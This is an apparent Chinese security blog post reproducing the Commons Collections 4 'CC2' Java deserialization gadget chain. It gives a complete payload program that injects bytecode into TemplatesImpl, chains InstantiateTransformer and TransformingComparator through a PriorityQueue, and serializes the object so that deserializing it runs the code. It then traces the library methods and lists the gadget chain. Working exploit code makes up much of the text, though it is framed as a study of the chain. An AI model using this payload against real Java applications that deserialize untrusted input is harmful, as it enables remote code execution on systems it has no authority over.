java 反序列化 cc2 复现
cc2就是cc4的一个变种,无论是出口还是执行命令部分都没有改变,只是绕过了Chainedtransformer
,直接将InstantiateTransformer
和TransformingComparator
去进行了衔接.
直接放我改后的payload
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import javax.xml.transform.Templates;
import java.io.*;
public class Main {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class<?> clazz = templatesimpl.getClass();
Field field = clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templatesimpl, "test");
Field field2 = clazz.getDeclaredField("_bytecodes");
field2.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));
byte[][] codes = {code};
field2.set(templatesimpl, codes);
Field field3 = clazz.getDeclaredField("_tfactory");
field3.setAccessible(true);
field3.set(templatesimpl, new TransformerFactoryImpl());
// ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);
// InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});
// Transformer[] transformers = {ct, it};
//
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//
// TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
// PriorityQueue pq = new PriorityQueue<>(transformingComparator);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});
TransformingComparator transformingComparator = new TransformingComparator(instantiateTransformer);
PriorityQueue pq = new PriorityQueue(transformingComparator);
Class clazz1 = pq.getClass();
Field field1 = clazz1.getDeclaredField("size");
field1.setAccessible(true);
field1.set(pq, 2);
/*
* 通过修改 PriorityQueue 的 queue 字段,来设置InstantiateTransformer的transform方法去构造的类
*/
Class clazz0 = pq.getClass();
Field field0 = clazz0.getDeclaredField("queue");
field0.setAccessible(true);
field0.set(pq, new Object[]{TrAXFilter.class, 2});
serial(pq);
unserial();
}
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
in.readObject();
}
}
感觉网上的改法五花八门的,所以就没看自己去改的.重点分析TrAXFilter.class
如何从队列的一个参数传递到InstantiateTransformer
的,这也是cc2相对cc4的不同之处.(cc4是直接通过ChainedTransformer
来衔接的,不需要进行传递)
PriorityQueue
我们在cc4中分析过siftDownUsingComparator
调用compare
方法.
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
发现compare方法的第二个参数传递的是(E) queue[right]
,也就是说他把队列中的一个元素传递了过去.
TransformingComparator
来看这个compare
方法
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
在接受到参数后,直接用参数执行了transform
方法,也就是通过obj2
将之前队列里的TrAXFilter
传递给了InstantiateTransformer
InstantiateTransformer
直接看这个transform
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var3) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var4) {
InstantiationException ex = var4;
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException var5) {
IllegalAccessException ex = var5;
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException var6) {
InvocationTargetException ex = var6;
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
此时已经非常明了了.获取TrAXFilter
的构造方法并构建一个实例,而TrAXFilter
的构造方法中触发了newTransformer
,这里已经对接上了cc3.
归纳出利用链
Gadget chain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.defineClass()